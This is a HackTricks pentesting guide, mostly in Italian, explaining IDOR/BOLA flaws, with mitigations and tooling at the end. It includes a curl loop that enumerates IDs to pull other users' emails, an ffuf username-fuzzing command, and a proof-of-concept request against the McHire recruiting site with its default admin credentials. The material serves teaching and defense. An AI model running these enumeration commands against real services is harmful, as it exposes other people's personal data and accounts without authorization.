IDOR (Insecure Direct Object Reference)

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appare quando un endpoint web o API divulga o accetta un identificatore controllabile dall'utente che viene usato direttamente per accedere a un oggetto interno senza verificare che il chiamante sia autorizzato ad accedere/modificare quell'oggetto. Un'exploitation riuscita normalmente permette privilege-escalation orizzontale o verticale come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, un completo account takeover o esfiltrazione massiva di dati.

1. Identificazione di potenziali IDOR

  1. Look for parameters that reference an object:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Preferisci endpoint che leggono o aggiornano dati (GET, PUT, PATCH, DELETE).
  2. Nota quando gli identificatori sono sequenziali o prevedibili – se il tuo ID è 64185742, allora 64185741 probabilmente esiste.
  3. Esplora flussi nascosti o alternativi (es. il link "Paradox team members" nelle pagine di login) che potrebbero esporre API aggiuntive.
  4. Usa una sessione autenticata a basso privilegio e cambia solo l'ID mantenendo lo stesso token/cookie. L'assenza di un errore di autorizzazione è di solito un segno di IDOR.

Modifica manuale rapida (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumerazione automatizzata (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

Quando un download endpoint accetta sia un username che un filename (es. /view.php?username=<u>&file=<f>), differenze sottili nei messaggi di errore spesso creano un oracle:

  • username inesistente → "User not found"
  • filename errato ma extension valida → "File does not exist" (a volte elenca anche i file disponibili)
  • extension non valida → validation error

Con qualsiasi authenticated session, puoi fuzz il parametro username tenendo un benign filename e filtrare sulla stringa "user not found" per scoprire utenti validi:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Una volta identificati nomi utente validi, richiedere file specifici direttamente (es. /view.php?username=amanda&file=privacy.odt). Questo schema porta spesso alla divulgazione non autorizzata dei documenti di altri utenti e alla fuga di credenziali.

2. Caso di Studio Reale – Piattaforma Chatbot McHire (2025)

Durante una valutazione del portale di reclutamento Paradox.ai-powered McHire è stato scoperto il seguente IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Autorizzazione: cookie di sessione utente per qualsiasi account di test del ristorante
  • Parametro del body: {"lead_id": N} – identificatore numerico a 8 cifre, sequenziale

Diminuendo lead_id il tester ha ottenuto la full PII di candidati arbitrari (name, e-mail, phone, address, shift preferences) oltre a un consumer JWT che ha consentito il session hijacking. L'enumerazione dell'intervallo 1 – 64,185,742 ha esposto circa 64 million record.

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinata con le credenziali admin predefinite (123456:123456) che garantivano l'accesso all'account di test, la vulnerabilità ha portato a una violazione critica dei dati a livello aziendale.

3. Impatto di IDOR / BOLA

  • Escalation orizzontale – leggere/aggiornare/cancellare i dati di altri utenti.
  • Escalation verticale – utente con basso privilegio ottiene funzionalità riservate agli admin.
  • Violazione massiva dei dati se gli identificatori sono sequenziali (es., ID dei candidati, fatture).
  • Acquisizione di account rubando token o reimpostando le password di altri utenti.

4. Mitigazioni & Best Practices

  1. Applica l'autorizzazione a livello di oggetto su ogni richiesta (user_id == session.user).
  2. Preferire identificatori indiretti e non indovinabili (UUIDv4, ULID) invece di ID auto-incrementali.
  3. Eseguire le autorizzazioni lato server, non fare mai affidamento su campi form nascosti o controlli UI.
  4. Implementare controlli RBAC / ABAC in un middleware centrale.
  5. Aggiungere rate-limiting & logging per rilevare l'enumerazione degli ID.
  6. Testare la sicurezza di ogni nuovo endpoint (unitari, di integrazione e DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks